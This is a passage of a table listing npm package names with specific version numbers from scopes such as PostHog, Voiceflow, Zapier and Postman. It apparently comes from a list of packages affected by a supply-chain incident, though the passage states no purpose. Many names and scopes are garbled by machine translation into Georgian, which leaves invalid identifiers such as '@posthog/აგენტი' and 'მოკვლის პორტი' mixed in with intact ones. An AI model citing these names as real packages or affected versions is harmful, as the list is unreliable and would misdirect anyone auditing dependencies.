| @kvytech/medusa-plugin-announcement | 0.0.8 |
| @kvytech/medusa-plugin-management | 0.0.5 |
| @kvytech/medusa-plugin-newsletter | 0.0.5 |
| @kvytech/medusa-plugin-product-reviews | 0.0.9 |
| @kvytech/medusa-plugin-promotion | 0.0.2 |
| @kvytech/web | 0.0.2 |
| @lessondesk/api-კლიენტი | 9.12.3 , 9.12.2 |
| @lessondesk/babel-preset | 1.0.1 |
| @lessondesk/electron-group-api-client | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/material-icons | 1.0.3 |
| @lessondesk/react-table-context | 2.0.4 |
| @lessondesk/schoolbus | 5.2.2 , 5.2.3 |
| @livecms/live-edit | 0.0.32 |
| @livecms/nuxt-live-edit | 1.9.2 |
| @louisle2/core | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/firestore-repo-service | 1.0.1 |
| @markvivanco/app-version-checker | 1.0.2 , 1.0.1 |
| @ntnx/passport-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/orbit-components | 1.2.9 |
| @orbitgtbelgium/time-slider | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/error-handler | 1.2.2 |
| @posthog/აგენტი | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @posthog/cli | 0.5.15 |
| @posthog/clickhouse | 1.7.1 |
| @posthog/core | 1.5.6 |
| @posthog/hedgehog-mode | 0.0.42 |
| @posthog/icons | 0.36.1 |
| @posthog/lemon-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @posthog/nuxt | 1.2.9 |
| @posthog/piscina | 3.2.1 |
| @posthog/plugin-contrib | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @posthog/rrdom | 0.0.31 |
| @posthog/rrweb | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-record | 0.0.31 |
| @posthog/rrweb-replay | 0.0.19 |
| @posthog/rrweb-snapshot | 0.0.31 |
| @posthog/rrweb-utils | 0.0.31 |
| @posthog/siphash | 1.1.2 |
| @posthog/wizard | 1.18.1 |
| @postman/aether-icons | 2.23.4, 2.23.3, 2.23.2 |
| @postman/csv-parse | 4.0.5, 4.0.3, 4.0.4 |
| @postman/node-keytar | 7.9.6, 7.9.4, 7.9.5 |
| @ფოსტალიონი/გვირაბის აგენტი | 0.6.7, 0.6.6, 0.6.5 |
| @pradhumngautam/common-app | 1.0.2 |
| @pruthvi21/use-debounce | 1.0.3 |
| @quick-start-soft/quick-document-translator | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @quick-start-soft/quick-markdown-image | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-მთარგმნელი | 1.4.2509202331 |
| @quick-start-soft/quick-remove-image-background | 1.4.2511142126 |
| @quick-start-soft/quick-task-refine | 1.4.2511142126 |
| @relyt/claude-context-core | 0.1.1 |
| @seezo/sdr-mcp-server | 0.0.5 |
| @სეუნგ-ჯუ/შემდეგი | 0.0.2 |
| @seung-ju/openapi-generator | 0.0.4 |
| @სეუნგ-ჯუ/რეაქტი-hooks | 0.0.2 |
| @seung-ju/react-native-action-sheet | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/medium-common | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3 , 2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2 , 1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @trigo/atrix | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @trigo/atrix-postgres | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @trigo/atrix-soap | 1.0.2 |
| @trigo/atrix-swagger | 3.0.1 |
| @trigo/bool-გამოსახულებები | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @trigo/fsm | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/pathfinder-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @trpc-rate-limiter/cloudflare | 0.1.4 |
| @trpc-rate-limiter/hono | 0.1.4 |
| @varsityvibe/api-კლიენტი | 1.3.36 , 1.3.37 |
| @varsityvibe/utils | 5.0.6 |
| @varsityvibe/validation-schemas | 0.6.7 , 0.6.8 |
| @vishadtyagi/სრული წლის კალენდარი | 0.1.11 |
| @voiceflow/alexa-types | 2.15.60 , 2.15.61 |
| @voiceflow/anthropic | 0.4.4 , 0.4.5 |
| @voiceflow/api-sdk | 3.28.58 , 3.28.59 |
| @voiceflow/backend-utils | 5.0.2 , 5.0.1 |
| @voiceflow/base-types | 2.136.3 , 2.136.2 |
| @voiceflow/body-parser | 1.21.2 , 1.21.3 |
| @voiceflow/chat-types | 2.14.59 , 2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1 , 0.2.2 |
| @ხმის ნაკადი/commitlint-კონფიგურაცია | 2.6.2 , 2.6.1 |
| @voiceflow/common | 8.9.1 , 8.9.2 |
| @voiceflow/default-prompt-wrappers | 1.7.4 , 1.7.3 |
| @voiceflow/dependency-cruiser-config | 1.8.12 , 1.8.11 |
| @voiceflow/dtos-interact | 1.40.2 , 1.40.1 |
| @ხმის ნაკადი/დაშიფვრა | 0.3.3 , 0.3.2 |
| @voiceflow/eslint-config | 7.16.4 , 7.16.5 |
| @voiceflow/eslint-plugin | 1.6.2 , 1.6.1 |
| @voiceflow/გამონაკლისი | 1.10.2 , 1.10.1 |
| @voiceflow/fetch | 1.11.1 , 1.11.2 |
| @voiceflow/general-types | 3.2.23 , 3.2.22 |
| @voiceflow/git-branch-check | 1.4.4 , 1.4.3 |
| @voiceflow/google-dfes-types | 2.17.12 , 2.17.13 |
| @voiceflow/google-ის ტიპები | 2.21.12 , 2.21.13 |
| @voiceflow/husky-config | 1.3.1 , 1.3.2 |
| @voiceflow/logger | 2.4.3 , 2.4.2 |
| @voiceflow/მეტრიკა | 1.5.2 , 1.5.1 |
| @voiceflow/natural-language-commander | 0.5.2 , 0.5.3 |
| @voiceflow/nestjs-common | 2.75.2 , 2.75.3 |
| @voiceflow/nestjs-mongodb | 1.3.1 , 1.3.2 |
| @voiceflow/nestjs-rate-limit | 1.3.3 , 1.3.2 |
| @voiceflow/nestjs-redis | 1.3.1 , 1.3.2 |
| @voiceflow/nestjs-timeout | 1.3.1 , 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1 , 1.1.2 |
| @voiceflow/openai | 3.2.2 , 3.2.3 |
| @voiceflow/pino | 6.11.4 , 6.11.3 |
| @voiceflow/pino-pretty | 4.4.2 , 4.4.1 |
| @voiceflow/prettier-config | 1.10.2 , 1.10.1 |
| @voiceflow/react-chat | 1.65.4 , 1.65.3 |
| @voiceflow/runtime | 1.29.1 , 1.29.2 |
| @voiceflow/runtime-client-js | 1.17.3 , 1.17.2 |
| @voiceflow/sdk-runtime | 1.43.2 , 1.43.1 |
| @voiceflow/secrets-provider | 1.9.3 , 1.9.2 |
| @voiceflow/semantic-release-config | 1.4.2 , 1.4.1 |
| @voiceflow/serverless-plugin-typescript | 2.1.7 , 2.1.8 |
| @voiceflow/slate-serializer | 1.7.4 , 1.7.3 |
| @voiceflow/stitches-react | 2.3.3 , 2.3.2 |
| @voiceflow/storybook-config | 1.2.2 , 1.2.3 |
| @voiceflow/stylelint-config | 1.1.1 , 1.1.2 |
| @voiceflow/test-common | 2.1.1 , 2.1.2 |
| @voiceflow/tsconfig | 1.12.2 , 1.12.1 |
| @voiceflow/tsconfig-paths | 1.1.5 , 1.1.4 |
| @voiceflow/utils-designer | 1.74.19 , 1.74.20 |
| @voiceflow/verror | 1.1.5 , 1.1.4 |
| @voiceflow/vite-config | 2.6.2 , 2.6.3 |
| @voiceflow/vitest-config | 1.10.3 , 1.10.2 |
| @ხმის ნაკადი/ხმის ტიპები | 2.10.59 , 2.10.58 |
| @voiceflow/voiceflow-ტიპები | 3.32.45 , 3.32.46 |
| @ხმის ნაკადი/ვიჯეტი | 1.7.18 , 1.7.19 |
| @zapier/ai-actions | 0.1.20, 0.1.19, 0.1.18 |
| @zapier/babel-preset-zapier | 6.4.2, 6.4.1, 6.4.3 |
| @zapier/browserslist-config-zapier | 1.0.4, 1.0.3, 1.0.5 |
| @zapier/secret-scrubber | 1.1.5, 1.1.4, 1.1.3 |
| ai-crowl-shield | 1.0.7 |
| რკალი-კლი-ფკ | 1.0.1 |
| ასინკაპის გადახედვა | 1.0.2 , 1.0.1 |
| ატრიქსი | 1.0.1 |
| ავტომატიზაციის_მოდელი | 1.0.491 |
| აქსიოს-მშენებელი | 1.2.1 |
| axios-ის გაუქმებადი | 1.0.2 , 1.0.1 |
| აქსიოს-დროით განსაზღვრული | 1.0.2 , 1.0.1 |
| ძირითადი css | 1.1.4 , 1.1.3 |
| ბენმოსტინის ჩარჩოს ანაბეჭდი | 1.0.1 |
| საუკეთესოgpioკონტროლერი | 1.0.10 |
| ორმხრივი ადაპტერი | 1.2.2, 1.2.4, 1.2.5, 1.2.3 |
| blinqio-შესრულებები-cli | 1.0.41 |
| blob-to-base64 | 1.0.3 |
| bun-plugin-httpfile | 0.1.1 |
| bytecode-checker-cli | 1.0.11, 1.0.8, 1.0.9, 1.0.10 |
| ბაიტები-x-მდე | 1.0.1 |
| სესხის პროცენტის გამოთვლა | 1.0.4 |
| capacitor-plugin-apptrackingios | 0.0.21 |
| კონდენსატორის-დანამატის-შეძენა | 0.1.1 |
| capacitor-plugin-scgsშესვლაGoogle-თან | 0.0.5 |
| კონდენსატორის-შეძენის-ისტორია | 0.0.10 |
| კონდენსატორის-ხმის-ჩამწერი-wav | 6.0.3 |
| chrome-გაფართოების-ჩამოტვირთვები | 0.0.3 , 0.0.4 |
| claude-token-updater | 1.0.3 |
| coinmarketcap-api | 3.1.3 , 3.1.2 |
| ფერები-რეგულარული | 2.0.1 |
| კომანდ-ირეილი | 0.5.4 |
| შედარება-obj | 1.1.1 , 1.1.2 |
| კომპოზიტური რედუქტორი | 1.0.4, 1.0.3, 1.0.2, 1.0.5 |
| უკუთვლა | 1.0.2 , 1.0.1 |
| პროცესორის ინსტრუქციები | 0.0.14 |
| დირექტორის შექმნის აპლიკაცია | 0.1.1 |
| create-glee-app | 0.2.3 , 0.2.2 |
| create-hardhat3-app | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| კრიპტო-ადრა-კოდეკი | 0.1.9 |
| css-dedoupe | 0.1.2 |
| dashboard-ცარიელი მდგომარეობა | 1.0.3 |
| დიზაინსტუდიოუიუქს | 1.0.1 |
| devstart-cli | 1.0.6 |
| დიალოგის ნაკადი | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| discord-bot-სერვერი | 0.1.2 |
| docusaurus-plugin-vanilla-extract | 1.0.3 |
| არ წახვიდე | 1.1.2 |
| dotnet-ის შაბლონი | 0.0.3 , 0.0.4 |
| drop-events-on-property-plugin | 0.0.2 |
| ელფოსტის მიწოდების ტესტერი | 1.1.1 |
| ფილიალის სახელის აღსრულება | 1.1.3 |
| esbuild-plugin-brotli | 0.2.1 |
| esbuild-plugin-eta | 0.1.1 |
| esbuild-plugin-httpfile | 0.4.1 |
| eslint-config-nitpicky | 4.0.1 |
| eslint-config-trigo | 22.0.2 |
| eslint-config-zeallat-base | 1.0.4 |
| ეთერიუმ-ენსი | 0.8.1 |
| evm-checkcode-cli | 1.0.15, 1.0.12, 1.0.13, 1.0.14 |
| ზუსტი ტიკერი | 0.3.5 |
| ექსპო-აუდიო-სესია | 0.2.1 |
| ექსპრესები | 1.1.3 |
| მსუქანი | 1.0.2 , 1.0.1 |
| ფუნქციის გადახვევა | 1.0.2 , 1.0.1 |
| firestore-საძიებო სისტემა | 1.2.3 |
| fittext | 1.0.3 , 1.0.2 |
| ფლაპსტეკები | 1.0.2 , 1.0.1 |
| გაბრტყელება-გაუფლანსება | 1.0.2 , 1.0.1 |
| formik-შეცდომის ფოკუსი | 2.0.1 |
| ფორმიკ-მაღაზია | 1.0.1 |
| ბუნდოვანი მაძიებელი | 1.0.5 , 1.0.6 |
| gate-evm-check-code2 | 2.0.3, 2.0.4, 2.0.5, 2.0.6 |
| gate-evm-tools-ტესტი | 1.0.7, 1.0.8, 1.0.5, 1.0.6 |
| გეტსბის-პლაგინის-cname | 1.0.2 , 1.0.1 |
| გენერატორი-მეტეორი-სტოკი | 0.1.6 |
| გენერატორი-ნგ-იტობუზი | 0.0.15 |
| მოიპოვეთ არგუმენტები | 1.3.3 |
| github-action-for-generator | 2.1.28 , 2.1.27 |
| gitsafe | 1.0.5 |
| go-template | 0.1.8 , 0.1.9 |
| gulp-inject-envs | 1.2.2 , 1.2.1 |
| haufe-axera-api-კლიენტი | 0.0.1 , 0.0.2 |
| იმედის რუკა | 0.1.1 |
| იმედის მოზიდვა | 1.0.3 |
| ჰოვერ-დიზაინის-პროტოტიპი | 0.0.5 |
| httpness | 1.0.3 , 1.0.2 |
| ჰიპერ-სრული ფეისინგი | 1.0.3 |
| ჰიპერტერმიული ჰიპსტერი | 1.0.7 |
| ids-css | 1.5.1 |
| იდენტობები-enterprise-mcp-სერვერი | 0.0.2 |
| იდენტობები-enterprise-ნგ | 20.1.6 |
| იდენტობები-enterprise-აკრეფები | 20.1.6 |
| სურათიდან ურიმდე | 1.0.2 , 1.0.1 |
| უძილობის-მოდულის-შემთხვევითი-არჩევა | 1.0.4 |
| ინვოისი | 0.2.2 |
| რკინის ფარის მინი აპლიკაცია | 0.0.2 |
| იტო-ღილაკი | 8.0.3 |
| itobuz-კუთხოვანი | 0.0.1 |
| itobuz-კუთხოვანი-ავტორიზაცია | 8.0.11 |
| itobuz-კუთხოვანი-ღილაკი | 8.0.11 |
| ჯეიკობ-ზუმა | 1.0.2 , 1.0.1 |
| jaetut-varit-ტესტი | 1.0.2 |
| jan-ბრაუზერი | 0.13.1 |
| jquery-შეკავშირებები | 1.1.3 , 1.1.2 |
| jsonsurge | 1.0.7 |
| უბრალოდ შემწვარი | 1.7.1 |
| მოკვლის პორტი | 2.0.3 , 2.0.2 |
| კორეის ადმინისტრაციული არეალი geo json util | 1.0.7 |
| კვამი | 1.5.9 , 1.5.10 |
| ენის კოდები | 1.0.2 , 1.0.1 |
| ლიცენზია-ო-მატიკა | 1.2.2 , 1.2.1 |
| lint-staged-imagemin | 1.3.1 , 1.3.2 |
| lite-serper-mcp-სერვერი | 0.2.2 |
| ლუნო-აპი | 1.2.3 |
| ხელით გადახდის სისტემის მინიაპლიკაციის API | 1.3.1 |
| medusa-plugin-announcement | 0.0.3 |
| medusa-plugin-logs | 0.0.17 |
| medusa-plugin-momo | 0.0.68 |
| medusa-plugin-product-reviews-kvy | 0.0.4 |
| medusa-plugin-zalopay | 0.0.40 |
| mod10-ის საკონტროლო ციფრი | 1.0.1 |
| mon-package-react-typescript | 1.0.1 |
| ჩემი საიდის ლიბ. | 0.1.1 |
| n8n-კვანძები-tmdb | 0.5.1 |
| n8n-nodes-vercel-ai-sdk | 0.1.7 |
| n8n-კვანძების-ვირუსული-აპლიკაცია | 0.2.5 |
| ნანოგადატვირთვა | 7.0.2 , 7.0.1 |
| შემდეგი წრიული დამოკიდებულება | 1.0.3 , 1.0.2 |
| შემდეგი მარტივი Google Analytics | 1.1.1 , 1.1.2 |
| შემდეგი სტილის nprogress | 1.0.4 , 1.0.5 |
| ngx-useful-swiper-prosenjit | 9.0.2 |
| ngx-wooapi | 12.0.1 |
| ჩვეულებრივი მაღაზია | 1.3.1, 1.3.4, 1.3.3, 1.3.2 |
| obj-დან css-მდე | 1.0.3 , 1.0.2 |
| okta-react-router-6 | 5.0.1 |
| ღია ინტერნეტი | 0.1.1 |
| ორბიტის ყუთის ხატები | 2.1.3 |
| ორბიტის ნისლეულის ხატვის ინსტრუმენტები | 1.0.10 |
| ორბიტის ნისლეულის რედაქტორი | 1.0.2 |
| ორბიტა-საპონი | 0.43.13 |
| ორკესტრი | 12.1.2 |
| პაკეტის ტესტერი | 1.0.1 |
| ამანათის-პლაგინის-აქტივების-ქსეროქსერი | 1.1.3 , 1.1.2 |
| pdf-ანოტაცია | 0.0.2 |
| პიკლიტი | 1.0.1 |
| პიკო-უიდი | 1.0.4 , 1.0.3 |
| pkg-readme | 1.1.1 |
| poper-react-sdk | 0.1.2 |
| პოსტჰოგ-დოკუზავრუსი | 2.0.6 |
| posthog-js | 1.297.3 |
| პოსტჰოგ-ნოდი | 4.18.1, 5.13.3, 5.11.3 |
| posthog-plugin-hello-world | 1.0.1 |
| პოსტჰოგ-რეაქტის მშობლიური | 4.11.1 , 4.12.5 |
| posthog-react-native-სესიის-გამეორება | 1.2.2 |
| პრაიმ-ონ-ტაბლეტი | 0.0.19 |
| სწრაფი ინჟინერია | 1.0.50 |
| პატარა მოთხოვნა | 1.0.3 |
| ra-auth-firebase | 1.0.3 |
| ra-data-firebase | 1.0.8 , 1.0.7 |
| რეაქციის კომპონენტების თეგები | 0.1.9 |
| ექსპორტისთვის მონაცემების რეაქციის | 1.0.1 |
| react-element-prompt-inspector | 0.1.18 |
| react-favic | 1.0.2 |
| რეაქციის კაუჭის ფორმირება | 3.0.2 , 3.0.1 |
| react-jam-ხატულები | 1.0.2 , 1.0.1 |
| react-keycloak-კონტექსტი | 1.0.8 , 1.0.9 |
| react-library-setup | 0.0.6 |
| რეაქტიული ხაზოვანი დამტვირთავი | 1.0.2 |
| react-micromodal.js | 1.0.2 , 1.0.1 |
| react-native-datepicker-მოდალური | 1.3.1 , 1.3.2 |
| react-native-email | 2.1.1 , 2.1.2 |
| react-native-fetch | 2.0.1 , 2.0.2 |
| react-native-get-pixel-dimensions | 1.0.2 , 1.0.1 |
| react-native-google-maps-directs | 2.1.2 |
| react-native-jam-ხატები | 1.0.2 , 1.0.1 |
| react-native-log-level | 1.2.2 , 1.2.1 |
| react-native-modest-checkbox | 3.3.1 |
| react-native-modest-storage | 2.1.1 |
| react-native-phone-call | 1.2.2 , 1.2.1 |
| react-native-retriable-fetch | 2.0.1 , 2.0.2 |
| რეაქციის მშობლიური გამოყენების მოდალური | 1.0.3 |
| react-native-viewfinder | 1.2.2 , 1.2.1 |
| react-native-websocket | 1.0.4 , 1.0.3 |
| react-native-worklet-ფუნქციები | 3.3.3 |
| react-qr-image | 1.1.1 |
| რედიფი | 1.0.5 |
| rediff-viewer | 0.0.7 |
| redux-router-kit | 1.2.2, 1.2.4, 1.2.3 |
| rollup-plugin-httpfile | 0.2.1 |
| sa-კომპანიის-რეგისტრაციის-ნომრის-რეგულარული კოდი | 1.0.2 , 1.0.1 |
| სა-იდ-გენი | 1.0.4 , 1.0.5 |
| იგივე | 1.0.3 |
| scgs-კონდენსატორის-გამოწერა | 1.0.11 |
| scgsffcreator | 1.0.5 |
| set-nested-prop | 2.0.1 , 2.0.2 |
| shelf-jwt-სესიები | 0.1.2 |
| shell-exec | 1.1.4 , 1.1.3 |
| შინჰან-ლიმიტ-ჯართი | 1.0.3 |
| უნარების გამოყენება | 0.1.2 , 0.1.1 |
| სოლომონ-აპი-ისტორიები | 1.0.2 |
| სოლომონის მესამე ვერსიის ისტორიები | 1.15.6 |
| სოლომონ-v3-ui-შეფუთვა | 1.6.1 |
| მანძილის მიხედვით დალაგება | 2.0.1 |
| სამხრეთ აფრიკის ID-ინფორმაცია | 1.0.2 |
| stat-fns | 1.0.1 |
| სართული | 2.3.2 |
| სუპერ-commit | 1.0.1 |
| svelte-autocomplete-select | 1.1.1 |
| მოხდენილი-შემწვარი | 1.1.3 , 1.1.2 |
| tanstack-shadcn-ცხრილი | 1.1.5 |
| tcsp | 2.0.2 |
| tcsp-draw-ტესტი | 1.0.5 |
| tcsp-ტესტი-vd | 2.4.4 |
| შაბლონის-ბიბლიოთეკა | 1.1.4 , 1.1.3 |
| შაბლონის მიკრო-სერვისი | 1.0.3 , 1.0.2 |
| დაჟინებული მოპოვება | 2.3.3 , 2.3.2 |
| ტესტის-ჩამოსაწყობი-აპლიკაცია | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| ტესტის ჩაფხუტის აპლიკაცია | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| test23112222-api | 1.0.1 |
| ტიან | 1.0.2 |
| token.js-fork | 0.7.32 |
| trigo-react-აპლიკაცია | 4.1.2 |
| ტიპური ღობე | 1.2.2 , 1.2.3 |
| ტიპოფორმ-ორბიტა | 0.2.27 |
| განუსაზღვრელი უსაფრთხოების ტიპით | 1.0.4 , 1.0.3 |
| ამაღლებული | 0.5.4 |
| Play Store-ში ატვირთვა | 1.0.2 , 1.0.1 |
| url-encode-decode | 1.0.2 , 1.0.1 |
| შეუნახავი ცვლილებების გამოყენება | 1.0.9 |
| სამხრეთ აფრიკის ვალიდური პირადობის მოწმობა | 1.0.3 |
| vf-oss-შაბლონი | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| vite-plugin-httpfile | 0.2.1 |
| vue-browserupdate-nuxt | 1.0.5 |
| ვებ-სკრაპერი-mcp | 1.1.4 |
| ვებ-ტიპები-htmx | 0.1.1 |
| ვებ-ტიპები-განათებული | 0.1.1 |
| webpack-loader-httpfile | 0.2.1 |
| ველნეს-ექსპერტის-გალერეა | 5.1.1 |
| ვენკი | 1.0.9 , 1.0.10 |
| zapier-async-storage | 1.0.3, 1.0.2, 1.0.1 |
| zapier-platform-cli | 18.0.4, 18.0.3, 18.0.2 |
| zapier-platform-core | 18.0.4, 18.0.3, 18.0.2 |
| zapier-platform-schema | 18.0.4, 18.0.3, 18.0.2 |
| zapier-სკრიპტები | 7.8.3 , 7.8.4 |
| ზუპერ-კლი | 1.0.1 |
| zuper-sdk | 1.0.57 |
| ზუპერ-სტრიმი | 2.0.9 |







